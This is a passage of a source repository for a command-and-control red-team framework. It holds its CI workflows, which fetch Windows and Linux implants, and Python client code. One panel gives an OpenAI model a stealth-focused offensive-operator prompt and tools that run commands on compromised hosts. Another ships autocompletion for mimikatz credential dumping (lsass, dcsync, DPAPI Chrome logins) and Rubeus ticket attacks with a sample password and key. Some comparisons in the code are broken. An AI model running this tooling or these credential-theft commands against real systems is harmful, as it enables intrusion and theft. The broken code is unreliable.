├── .github
├── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
└── workflows
│ ├── Release.yml
│ └── Tests.yml
├── .gitignore
├── .gitmodules
├── C2Client
├── .gitignore
├── C2Client
│ ├── .gitignore
│ ├── AssistantPanel.py
│ ├── Beacon
│ ├── ConsolePanel.py
│ ├── DropperModules.conf
│ ├── DropperModules
│ │ └── .gitignore
│ ├── GUI.py
│ ├── GraphPanel.py
│ ├── ListenerPanel.py
│ ├── ScriptPanel.py
│ ├── Scripts
│ │ ├── .gitignore
│ │ ├── checkSandbox.py
│ │ ├── listDirectory.py
│ │ ├── startListenerHttp8443.py
│ │ └── template.py.example
│ ├── SessionPanel.py
│ ├── TerminalModules
│ │ ├── Batcave
│ │ │ ├── .gitignore
│ │ │ └── batcave.py
│ │ ├── Credentials
│ │ │ ├── .gitignore
│ │ │ └── credentials.py
│ │ └── __init__.py
│ ├── TerminalPanel.py
│ ├── __init__.py
│ ├── grpcClient.py
│ ├── images
│ │ ├── firewall.svg
│ │ ├── linux.svg
│ │ ├── linuxhighpriv.svg
│ │ ├── pc.svg
│ │ └── windowshighpriv.svg
│ ├── libGrpcMessages
│ │ └── build
│ │ │ └── py
│ │ │ ├── TeamServerApi_pb2.py
│ │ │ └── TeamServerApi_pb2_grpc.py
│ └── logs
│ │ └── .gitignore
├── pyproject.toml
└── requirements.txt
├── CMakeLists.txt
├── LICENSE
├── README.md
├── Release
├── .gitignore
├── Beacons
│ └── .gitignore
├── Modules
│ └── .gitignore
├── Scripts
│ └── .gitignore
├── TeamServer
│ ├── .gitignore
│ └── logs
│ │ └── .gitignore
├── Tools
│ └── .gitignore
└── www
│ └── .gitignore
├── certs
├── CMakeLists.txt
├── sslBeaconHttps
│ └── genSslCert.sh
└── sslTeamServ
│ ├── ca-config.json
│ ├── ca-csr.json
│ ├── client-csr.json
│ ├── genSslCert.sh
│ └── server-csr.json
├── conan_provider.cmake
├── conanfile.txt
├── images
├── AddListener.png
├── AddListenerTypes.png
├── AssemblyExecMimikatz.png
├── Exploration1.png
├── GenerateDropper.png
├── Listeners.png
├── ListenersAndSessions.png
├── ListenersAndSessions2.png
├── NewSession.png
├── ReleaseModulesBeacons.png
├── ReleaseTeamServerClient.png
├── SessionInteract.png
├── TeamServerLaunch.png
├── architecture.drawio
├── architecture.png
├── coffDir.png
└── loadModule.png
├── libs
├── CMakeLists.txt
├── libGrpcMessages
│ ├── CMakeLists.txt
│ ├── build
│ │ └── cpp
│ │ │ ├── CMakeLists.txt
│ │ │ └── src
│ │ │ └── .gitignore
│ └── src
│ │ └── TeamServerApi.proto
├── libMemoryModuleDumy
│ ├── CMakeLists.txt
│ ├── README.md
│ ├── src
│ │ ├── MemoryModule.cpp
│ │ └── MemoryModule.h
│ └── tests
│ │ ├── CMakeLists.txt
│ │ ├── Tests.cpp
│ │ └── libtest.cpp
└── libPipeHandlerDumy
│ ├── CMakeLists.txt
│ ├── README.md
│ └── src
│ ├── PipeHandler.cpp
│ └── PipeHandler.hpp
├── majSubmodules.sh
├── teamServer
├── CMakeLists.txt
├── teamServer
│ ├── TeamServer.cpp
│ ├── TeamServer.hpp
│ └── TeamServerConfig.json
└── tests
│ └── testsTestServer.cpp
└── thirdParty
├── CMakeLists.txt
├── coffLoader
└── CMakeLists.txt
└── nlohmann
└── json.hpp
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Additional context**
27 | Add any other context about the problem here.
28 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: ''
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/.github/workflows/Release.yml:
--------------------------------------------------------------------------------
1 | name: Release
2 |
3 | on:
4 | workflow_dispatch:
5 | push:
6 | tags:
7 | - '*'
8 |
9 |
10 | env:
11 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.)
12 | BUILD_TYPE: Release
13 |
14 | permissions:
15 | contents: write
16 |
17 | jobs:
18 | buildAndRelease:
19 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac.
20 | # You can convert this to a matrix build if you need cross-platform coverage.
21 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix
22 | runs-on: ubuntu-22.04
23 |
24 | steps:
25 | - uses: actions/checkout@v4
26 |
27 | # Update references
28 | - name: Git Sumbodule Update
29 | run: |
30 | git submodule update --init
31 |
32 | # Needed to generate certificates
33 | - uses: ConorMacBride/install-package@v1
34 | with:
35 | apt: golang-cfssl
36 |
37 | - name: Get Conan
38 | # You may pin to the exact commit or the version.
39 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d
40 | uses: turtlebrowser/get-conan@v1.2
41 |
42 | - name: Create default profile
43 | run: conan profile detect
44 |
45 | - name: Configure CMake
46 | run: cmake -B ${{github.workspace}}/build -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
47 |
48 | - name: Build
49 | run: cmake --build ${{github.workspace}}/build --config ${{env.BUILD_TYPE}} -j 18
50 |
51 | - name: Prep release
52 | run: |
53 | rm -rf Release/Beacons
54 | rm -f Release/Client/.gitignore
55 | rm -f Release/Client/logs/.gitignore
56 | rm -f Release/Client/libGrpcMessages/build/py/.gitignore
57 | rm -f Release/Modules/.gitignore
58 | mv ./Release/Modules/ ./Release/TeamServerModules/
59 | rm -f Release/Scripts/.gitignore
60 | rm -f Release/TeamServer/.gitignore
61 | rm -f Release/Tools/.gitignore
62 | rm -f Release/www/.gitignore
63 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2Implant/releases/latest' | jq -r '.assets[] | select(.name=="Release.zip").browser_download_url') -O ./C2Implant.zip
64 | unzip -o C2Implant.zip
65 | rm -f C2Implant.zip
66 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2LinuxImplant/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2LinuxImplant.tar.gz
67 | tar -zxvf C2LinuxImplant.tar.gz
68 | rm -f C2LinuxImplant.tar.gz
69 | tar -zcvf Release.tar.gz Release
70 |
71 | - name: Upload release
72 | uses: svenstaro/upload-release-action@v2
73 | with:
74 | repo_token: ${{ secrets.GITHUB_TOKEN }}
75 | file: Release.tar.gz
76 | asset_name: Release.tar.gz
77 | tag: ${{ github.ref }}
78 | overwrite: true
79 | body: "C2TeamServer client and server, include the release of C2Implant with the windows beacons and modules"
80 |
--------------------------------------------------------------------------------
/.github/workflows/Tests.yml:
--------------------------------------------------------------------------------
1 | name: Tests
2 |
3 | on: workflow_dispatch
4 |
5 | env:
6 | # Customize the CMake build type here (Release, Debug, RelWithDebInfo, etc.)
7 | BUILD_TYPE: Release
8 |
9 | jobs:
10 | buildAndTest:
11 | # The CMake configure and build commands are platform agnostic and should work equally well on Windows or Mac.
12 | # You can convert this to a matrix build if you need cross-platform coverage.
13 | # See: https://docs.github.com/en/free-pro-team@latest/actions/learn-github-actions/managing-complex-workflows#using-a-build-matrix
14 | runs-on: ubuntu-22.04
15 |
16 | steps:
17 | - uses: actions/checkout@v4
18 |
19 | # Update references
20 | - name: Git Sumbodule Update
21 | run: |
22 | git submodule update --init
23 |
24 | # Needed to generate certificates
25 | - uses: ConorMacBride/install-package@v1
26 | with:
27 | apt: golang-cfssl
28 |
29 | - name: Get Conan
30 | # You may pin to the exact commit or the version.
31 | # uses: turtlebrowser/get-conan@c171f295f3f507360ee018736a6608731aa2109d
32 | uses: turtlebrowser/get-conan@v1.2
33 |
34 | - name: Create default profile
35 | run: conan profile detect
36 |
37 | - name: Configure CMake for tests
38 | run: cmake -B ${{github.workspace}}/build -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
39 |
40 | - name: Build for test
41 | run: cmake --build ${{github.workspace}}/build -j 18
42 |
43 | - name: Run unit tests
44 | run: ctest --test-dir build
45 |
46 | - name: Configure CMake like the release
47 | run: cmake -B ${{github.workspace}}/buildRelease -DWITH_TESTS=OFF -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=${{github.workspace}}/conan_provider.cmake
48 |
49 | - name: Build like the release
50 | run: cmake --build ${{github.workspace}}/buildRelease -j 18
51 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | Tests
2 | C2Client/build/
3 | .vscode
4 | build/
--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "thirdParty/base64"]
2 | path = thirdParty/base64
3 | url = https://github.com/ReneNyffenegger/cpp-base64.git
4 | [submodule "thirdParty/donut"]
5 | path = thirdParty/donut
6 | url = https://github.com/maxDcb/donut.git
7 | [submodule "thirdParty/coffLoader/coffLoader"]
8 | path = thirdParty/coffLoader/coffLoader
9 | url = https://github.com/maxDcb/COFFLoader.git
10 | [submodule "thirdParty/coffLoader/coffPacker"]
11 | path = thirdParty/coffLoader/coffPacker
12 | url = https://github.com/maxDcb/COFFPacker.git
13 | [submodule "core"]
14 | path = core
15 | url = https://github.com/maxDcb/C2Core.git
16 | [submodule "libs/libDns"]
17 | path = libs/libDns
18 | url = https://github.com/maxDcb/Dnscommunication
19 | [submodule "libs/libSocks5"]
20 | path = libs/libSocks5
21 | url = https://github.com/maxDcb/libSocks5.git
22 | [submodule "libs/libSocketHandler"]
23 | path = libs/libSocketHandler
24 | url = https://github.com/maxDcb/libSocketHandler.git
25 |
--------------------------------------------------------------------------------
/C2Client/.gitignore:
--------------------------------------------------------------------------------
1 | C2Client.egg-info
2 | C2Client/__pycache__
--------------------------------------------------------------------------------
/C2Client/C2Client/.gitignore:
--------------------------------------------------------------------------------
1 | .termHistory
2 | .cmdHistory
3 | *.exe
4 | *.dll
--------------------------------------------------------------------------------
/C2Client/C2Client/AssistantPanel.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import logging
4 | import importlib
5 | from datetime import datetime
6 |
7 | from threading import Thread, Lock, Semaphore
8 | from PyQt5.QtWidgets import *
9 | from PyQt5.QtGui import *
10 | from PyQt5.QtCore import *
11 |
12 | from grpcClient import *
13 |
14 | import openai
15 | from openai import OpenAI
16 |
17 | import json
18 |
19 |
20 | #
21 | # Assistant tab implementation
22 | #
23 | class Assistant(QWidget):
24 | tabPressed = pyqtSignal()
25 | logFileName=""
26 | sem = Semaphore()
27 |
28 | def __init__(self, parent, grpcClient):
29 | super(QWidget, self).__init__(parent)
30 | self.layout = QVBoxLayout(self)
31 | self.layout.setContentsMargins(0, 0, 0, 0)
32 |
33 | self.grpcClient = grpcClient
34 |
35 | # self.logFileName=LogFileName
36 |
37 | self.editorOutput = QPlainTextEdit()
38 | self.editorOutput.setFont(QFont("Courier"));
39 | self.editorOutput.setReadOnly(True)
40 | self.layout.addWidget(self.editorOutput, 8)
41 |
42 | self.commandEditor = CommandEditor()
43 | self.layout.addWidget(self.commandEditor, 2)
44 | self.commandEditor.returnPressed.connect(self.runCommand)
45 |
46 | system_prompt = {
47 | "role": "system",
48 | "content": (
49 | """You are a Red Team Operator Assistant embedded in the "Exploration" C2 framework.
50 | You operate in offensive security engagements and support operators by reasoning over command output from enumeration before getting a foothold and compromised machines and suggesting the next best actions.
51 | You also point out security gaps that could be leveraged. You understand operational security (OPSEC), red teaming tactics, post-exploitation phases, and tradecraft.
52 |
53 | ## Context:
54 | - Exploration C2 framework run on a kali machine
55 | - You will be fed output from commands previously ran.
56 | - All tools available on a kali machine can use used
57 |
58 | ## Instructions:
59 | - Suggest only what makes tactical sense based on the output provided.
60 | - Prioritize stealth and minimal footprint.
61 | - Chain commands where appropriate to complete an objective (e.g., escalate, pivot, loot).
62 | - When unclear, ask the operator for additional context instead of assuming."""
63 | )
64 | }
65 |
66 | # Initialize message history with the system prompt
67 | self.messages = [system_prompt]
68 |
69 | # Maximum number of messages to retain
70 | self.MAX_MESSAGES = 20
71 |
72 |
73 | def nextCompletion(self):
74 | index = self._compl.currentIndex()
75 | self._compl.popup().setCurrentIndex(index)
76 | start = self._compl.currentRow()
77 | if not self._compl.setCurrentRow(start + 1):
78 | self._compl.setCurrentRow(0)
79 |
80 |
81 | def sessionAssistantMethod(self, action, beaconHash, listenerHash, hostname, username, arch, privilege, os, lastProofOfLife, killed):
82 | if action == "start":
83 | print("sessionAssistantMethod", action, beaconHash)
84 | self.messages.append({"role": "user", "content": "New session stared: beaconHash={}, listenerHash={}, hostname={}, username={}, privilege={}, os={}.".format(beaconHash, listenerHash, hostname, username, privilege, os) })
85 | elif action == "stop":
86 | toto = 1
87 | elif action == "update":
88 | toto = 1
89 |
90 |
91 | def listenerAssistantMethod(self, action, hash, str3, str4):
92 | print("listenerAssistantMethod", action, hash)
93 | if action == "start":
94 | toto = 1
95 | elif action == "stop":
96 | toto = 1
97 |
98 |
99 | def consoleAssistantMethod(self, action, beaconHash, listenerHash, context, cmd, result):
100 | if action == "receive":
101 | print("consoleAssistantMethod", "-Context:\n" + context + "\n\n-Command sent:\n" + cmd + "\n\n-Response:\n" + result)
102 | self.messages.append({"role": "user", "content": cmd + "\n" + result})
103 | elif action == "send":
104 | toto = 1
105 |
106 |
107 | def event(self, event):
108 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
109 | self.tabPressed.emit()
110 | return True
111 | return super().event(event)
112 |
113 |
114 | def printInTerminal(self, cmd, result):
115 | now = datetime.now()
116 | formater = '
'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+'] '+' [+] '+'{} '+'
'
117 |
118 | self.sem.acquire()
119 | if cmd:
120 | self.editorOutput.appendHtml(formater.format(cmd))
121 | self.editorOutput.insertPlainText("\n")
122 | if result:
123 | self.editorOutput.insertPlainText(result)
124 | self.editorOutput.insertPlainText("\n")
125 | self.sem.release()
126 |
127 |
128 | def runCommand(self):
129 | commandLine = self.commandEditor.displayText()
130 | self.commandEditor.clearLine()
131 | self.setCursorEditorAtEnd()
132 |
133 | if commandLine == "":
134 | self.printInTerminal("", "")
135 |
136 | else:
137 |
138 | function_spec_ls = {
139 | "name": "ls",
140 | "description": "List the contents of a specified directory on a specific beacon.",
141 | "parameters": {
142 | "type": "object",
143 | "properties": {
144 | "beacon_hash": {
145 | "type": "string",
146 | "description": "The unique hash identifying the beacon to execute the command on"
147 | },
148 | "listener_hash": {
149 | "type": "string",
150 | "description": "The unique hash identifying the listener at which the beacon is connected"
151 | },
152 | "path": {
153 | "type": "string",
154 | "description": "The path of the directory to list. If omitted, uses the current working directory.",
155 | "default": "."
156 | }
157 | },
158 | "required": ["beacon_hash", "listener_hash", "path"]
159 | }
160 | }
161 |
162 | function_spec_cd = {
163 | "name": "cd",
164 | "description": "Change the working directory for subsequent module execution or file operations on a specific beacon.",
165 | "parameters": {
166 | "type": "object",
167 | "properties": {
168 | "beacon_hash": {
169 | "type": "string",
170 | "description": "The unique hash identifying the beacon to execute the command on"
171 | },
172 | "listener_hash": {
173 | "type": "string",
174 | "description": "The unique hash identifying the listener at which the beacon is connected"
175 | },
176 | "path": {
177 | "type": "string",
178 | "description": "Absolute or relative path to change to (e.g., '../modules', '/tmp')."
179 | }
180 | },
181 | "required": ["beacon_hash", "listener_hash", "path"]
182 | }
183 | }
184 |
185 | function_spec_cat = {
186 | "name": "cat",
187 | "description": "Read and return the contents of a specified file on disk on a specific beacon.",
188 | "parameters": {
189 | "type": "object",
190 | "properties": {
191 | "beacon_hash": {
192 | "type": "string",
193 | "description": "The unique hash identifying the beacon to execute the command on"
194 | },
195 | "listener_hash": {
196 | "type": "string",
197 | "description": "The unique hash identifying the listener at which the beacon is connected"
198 | },
199 | "path": {
200 | "type": "string",
201 | "description": "Absolute or relative path to the file (e.g., './modules/shellcode.bin', '/etc/hosts')."
202 | }
203 | },
204 | "required": ["beacon_hash", "listener_hash", "path"]
205 | }
206 | }
207 |
208 | function_spec_pwd = {
209 | "name": "pwd",
210 | "description": "Return the current working directory path on a specific beacon.",
211 | "parameters": {
212 | "type": "object",
213 | "properties": {
214 | "beacon_hash": {
215 | "type": "string",
216 | "description": "The unique hash identifying the beacon to execute the command on"
217 | },
218 | "listener_hash": {
219 | "type": "string",
220 | "description": "The unique hash identifying the listener at which the beacon is connected"
221 | }
222 | }
223 | },
224 | "required": ["beacon_hash", "listener_hash"]
225 | }
226 |
227 | function_spec_tree = {
228 | "name": "tree",
229 | "description": "Recursively display the directory structure of a specified path on a specific beacon in a tree-like format.",
230 | "parameters": {
231 | "type": "object",
232 | "properties": {
233 | "beacon_hash": {
234 | "type": "string",
235 | "description": "The unique hash identifying the beacon to execute the command on"
236 | },
237 | "listener_hash": {
238 | "type": "string",
239 | "description": "The unique hash identifying the listener at which the beacon is connected"
240 | },
241 | "path": {
242 | "type": "string",
243 | "description": "The root directory path to start the tree traversal. If omitted, uses the current working directory.",
244 | "default": "."
245 | }
246 | },
247 | "required": ["beacon_hash", "listener_hash", "path"]
248 | }
249 | }
250 |
251 | api_key = os.environ.get("OPENAI_API_KEY")
252 |
253 | if api_key:
254 | client = OpenAI(
255 | # This is the default and can be omitted
256 | api_key=api_key,
257 | )
258 |
259 | # Add user command output
260 | self.messages.append({"role": "user", "content": commandLine})
261 |
262 | if len(self.messages) > self.MAX_MESSAGES * 2 + 1:
263 | # Always keep the first message (system prompt)
264 | system_prompt = self.messages[0]
265 | recent_messages = self.messages[-(self.MAX_MESSAGES * 2):]
266 | self.messages = [system_prompt] + recent_messages
267 |
268 | try:
269 | # Call OpenAI API
270 | response = client.chat.completions.create(
271 | model="gpt-4o",
272 | # model="gpt-3.5-turbo-1106", # test
273 | messages=self.messages,
274 | functions=[function_spec_ls, function_spec_cd, function_spec_cat, function_spec_pwd, function_spec_tree],
275 | function_call="auto",
276 | temperature=0.05
277 | )
278 |
279 | self.printInTerminal("User:", commandLine)
280 |
281 | message = response.choices[0].message
282 | print(message)
283 |
284 | function_call = message.function_call
285 | if function_call:
286 | name = function_call.name
287 | args = json.loads(function_call.arguments)
288 | print(f"Model wants to call `{name}` with arguments: {args}")
289 |
290 | self.printInTerminal("Analysis:", f"Model wants to call `{name}` with arguments: {args}")
291 |
292 | self.executeCmd(name, args)
293 |
294 |
295 | assistant_reply = message.content
296 | if assistant_reply:
297 | self.printInTerminal("Analysis:", assistant_reply)
298 |
299 | # Add assistant's response to conversation
300 | self.messages.append({"role": "assistant", "content": assistant_reply})
301 |
302 | except openai.APIConnectionError as e:
303 | print(f"Server connection error: {e.__cause__}")
304 |
305 | except openai.RateLimitError as e:
306 | print(f"OpenAI RATE LIMIT error {e.status_code}: {e.response}")
307 |
308 | except openai.APIStatusError as e:
309 | print(f"OpenAI STATUS error {e.status_code}: {e.response}")
310 |
311 | except openai.BadRequestError as e:
312 | print(f"OpenAI BAD REQUEST error {e.status_code}: {e.response}")
313 |
314 | except Exception as e:
315 | print(f"An unexpected error occurred: {e}")
316 |
317 | else:
318 | self.printInTerminal("OPENAI_API_KEY is not set, functionality deactivated.", "")
319 |
320 |
321 | self.setCursorEditorAtEnd()
322 |
323 |
324 | def executeCmd(self, cmd, args):
325 |
326 | if cmd == "ls":
327 | beacon_hash = args["beacon_hash"]
328 | listener_hash = args["listener_hash"]
329 | path = args["path"]
330 | commandLine = "ls " + path
331 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine)
332 | result = self.grpcClient.sendCmdToSession(command)
333 | if result.message:
334 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
335 |
336 | elif cmd == "tree":
337 | beacon_hash = args["beacon_hash"]
338 | listener_hash = args["listener_hash"]
339 | path = args["path"]
340 | commandLine = "tree " + path
341 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine)
342 | result = self.grpcClient.sendCmdToSession(command)
343 | if result.message:
344 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
345 |
346 | elif cmd == "cd":
347 | beacon_hash = args["beacon_hash"]
348 | listener_hash = args["listener_hash"]
349 | path = args["path"]
350 | commandLine = "cd " + path
351 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine)
352 | result = self.grpcClient.sendCmdToSession(command)
353 | if result.message:
354 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
355 |
356 | elif cmd == "cat":
357 | beacon_hash = args["beacon_hash"]
358 | listener_hash = args["listener_hash"]
359 | path = args["path"]
360 | commandLine = "cat " + path
361 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine)
362 | result = self.grpcClient.sendCmdToSession(command)
363 | if result.message:
364 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
365 |
366 | elif cmd == "pwd":
367 | beacon_hash = args["beacon_hash"]
368 | listener_hash = args["listener_hash"]
369 | commandLine = "pwd"
370 | command = TeamServerApi_pb2.Command(beaconHash=beacon_hash, listenerHash=listener_hash, cmd=commandLine)
371 | result = self.grpcClient.sendCmdToSession(command)
372 | if result.message:
373 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
374 |
375 | else:
376 | raise ValueError("Unsupported command type")
377 |
378 | return
379 |
380 |
381 | # setCursorEditorAtEnd
382 | def setCursorEditorAtEnd(self):
383 | cursor = self.editorOutput.textCursor()
384 | cursor.movePosition(QTextCursor.End,)
385 | self.editorOutput.setTextCursor(cursor)
386 |
387 |
388 | class CommandEditor(QLineEdit):
389 | tabPressed = pyqtSignal()
390 | cmdHistory = []
391 | idx = 0
392 |
393 | def __init__(self, parent=None):
394 | super().__init__(parent)
395 |
396 | QShortcut(Qt.Key_Up, self, self.historyUp)
397 | QShortcut(Qt.Key_Down, self, self.historyDown)
398 |
399 | # self.codeCompleter = CodeCompleter(completerData, self)
400 | # # needed to clear the completer after activation
401 | # self.codeCompleter.activated.connect(self.onActivated)
402 | # self.setCompleter(self.codeCompleter)
403 | # self.tabPressed.connect(self.nextCompletion)
404 |
405 | def nextCompletion(self):
406 | index = self.codeCompleter.currentIndex()
407 | self.codeCompleter.popup().setCurrentIndex(index)
408 | start = self.codeCompleter.currentRow()
409 | if not self.codeCompleter.setCurrentRow(start + 1):
410 | self.codeCompleter.setCurrentRow(0)
411 |
412 | def event(self, event):
413 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
414 | self.tabPressed.emit()
415 | return True
416 | return super().event(event)
417 |
418 | def historyUp(self):
419 | if(self.idx=0):
420 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
421 | self.idx=max(self.idx-1,0)
422 | self.setText(cmd.strip())
423 |
424 | def historyDown(self):
425 | if(self.idx=0):
426 | self.idx=min(self.idx+1,len(self.cmdHistory)-1)
427 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
428 | self.setText(cmd.strip())
429 |
430 | def setCmdHistory(self):
431 | cmdHistoryFile = open('.termHistory')
432 | self.cmdHistory = cmdHistoryFile.readlines()
433 | self.idx=len(self.cmdHistory)-1
434 | cmdHistoryFile.close()
435 |
436 | def clearLine(self):
437 | self.clear()
438 |
439 | def onActivated(self):
440 | QTimer.singleShot(0, self.clear)
441 |
442 |
443 | class CodeCompleter(QCompleter):
444 | ConcatenationRole = Qt.UserRole + 1
445 |
446 | def __init__(self, data, parent=None):
447 | super().__init__(parent)
448 | self.createModel(data)
449 |
450 | def splitPath(self, path):
451 | return path.split(' ')
452 |
453 | def pathFromIndex(self, ix):
454 | return ix.data(CodeCompleter.ConcatenationRole)
455 |
456 | def createModel(self, data):
457 | def addItems(parent, elements, t=""):
458 | for text, children in elements:
459 | item = QStandardItem(text)
460 | data = t + " " + text if t else text
461 | item.setData(data, CodeCompleter.ConcatenationRole)
462 | parent.appendRow(item)
463 | if children:
464 | addItems(item, children, data)
465 | model = QStandardItemModel(self)
466 | addItems(model, data)
467 | self.setModel(model)
468 |
--------------------------------------------------------------------------------
/C2Client/C2Client/Beacon:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/Beacon
--------------------------------------------------------------------------------
/C2Client/C2Client/ConsolePanel.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import time
4 | from datetime import datetime
5 | from threading import Thread, Lock
6 | from PyQt5.QtWidgets import *
7 | from PyQt5.QtGui import *
8 | from PyQt5.QtCore import *
9 |
10 | from grpcClient import *
11 |
12 | from TerminalPanel import *
13 | from ScriptPanel import *
14 | from AssistantPanel import *
15 |
16 | sys.path.insert(1, './Credentials')
17 | import credentials
18 |
19 |
20 | #
21 | # Log
22 | #
23 | try:
24 | import pkg_resources
25 | logsDir = pkg_resources.resource_filename(
26 | 'C2Client',
27 | 'logs'
28 | )
29 |
30 | except ImportError:
31 | logsDir = os.path.join(os.path.dirname(__file__), 'logs')
32 |
33 | if not os.path.exists(logsDir):
34 | os.makedirs(logsDir)
35 |
36 |
37 | #
38 | # Constant
39 | #
40 | TerminalTabTitle = "Terminal"
41 | CmdHistoryFileName = ".cmdHistory"
42 |
43 | HelpInstruction = "help"
44 | SleepInstruction = "sleep"
45 | EndInstruction = "end"
46 | ListenerInstruction = "listener"
47 | LoadModuleInstruction = "loadModule"
48 |
49 | AssemblyExecInstruction = "assemblyExec"
50 | UploadInstruction = "upload"
51 | RunInstruction = "run"
52 | DownloadInstruction = "download"
53 | InjectInstruction = "inject"
54 | ScriptInstruction = "script"
55 | PwdInstruction = "pwd"
56 | CdInstruction = "cd"
57 | LsInstruction = "ls"
58 | PsInstruction = "ps"
59 | CatInstruction = "cat"
60 | TreeInstruction = "tree"
61 | MakeTokenInstruction = "makeToken"
62 | Rev2selfInstruction = "rev2self"
63 | StealTokenInstruction = "stealToken"
64 | CoffLoaderInstruction = "coffLoader"
65 | UnloadModuleInstruction = "unloadModule"
66 | KerberosUseTicketInstruction = "kerberosUseTicket"
67 | PowershellInstruction = "powershell"
68 | ChiselInstruction = "chisel"
69 | PsExecInstruction = "psExec"
70 | WmiInstruction = "wmiExec"
71 | SpawnAsInstruction = "spawnAs"
72 | EvasionInstruction = "evasion"
73 | KeyLoggerInstruction = "keyLogger"
74 | MiniDumpInstruction = "miniDump"
75 | DotnetExecInstruction = "dotnetExec"
76 |
77 | StartInstruction = "start"
78 | StopInstruction = "stop"
79 |
80 | completerData = [
81 | (HelpInstruction,[]),
82 | (SleepInstruction,[]),
83 | (EndInstruction,[]),
84 | (ListenerInstruction,[
85 | (StartInstruction+' smb pipename',[]),
86 | (StartInstruction+' tcp 127.0.0.1 4444',[]),
87 | (StopInstruction, []),
88 | ]),
89 | (AssemblyExecInstruction,[
90 | ('-e',[
91 | ('mimikatz.exe',[
92 | ('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]),
93 | ('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]),
94 | ('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]),
95 | ('"sekurlsa::logonpasswords" "exit"', []),
96 | ('"sekurlsa::ekeys" "exit"', []),
97 | ('"lsadump::sam" "exit"', []),
98 | ('"lsadump::cache" "exit"', []),
99 | ('"lsadump::secrets" "exit"', []),
100 | ('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []),
101 | ('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []),
102 | ('"sekurlsa::dpapi" "exit"', []),
103 | ('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []),
104 | ]),
105 |
106 | ('SharpView.exe Get-DomainComputer', []),
107 | ('Rubeus.exe',[
108 | ('triage',[]),
109 | ('purge',[]),
110 | ('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []),
111 | ('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []),
112 | ]),
113 | ('Seatbelt.exe',[
114 | ('-group=system',[]),
115 | ('-group=user',[]),
116 | ]),
117 | ('SharpHound.exe -c All -d dev.admin.offshore.com', []),
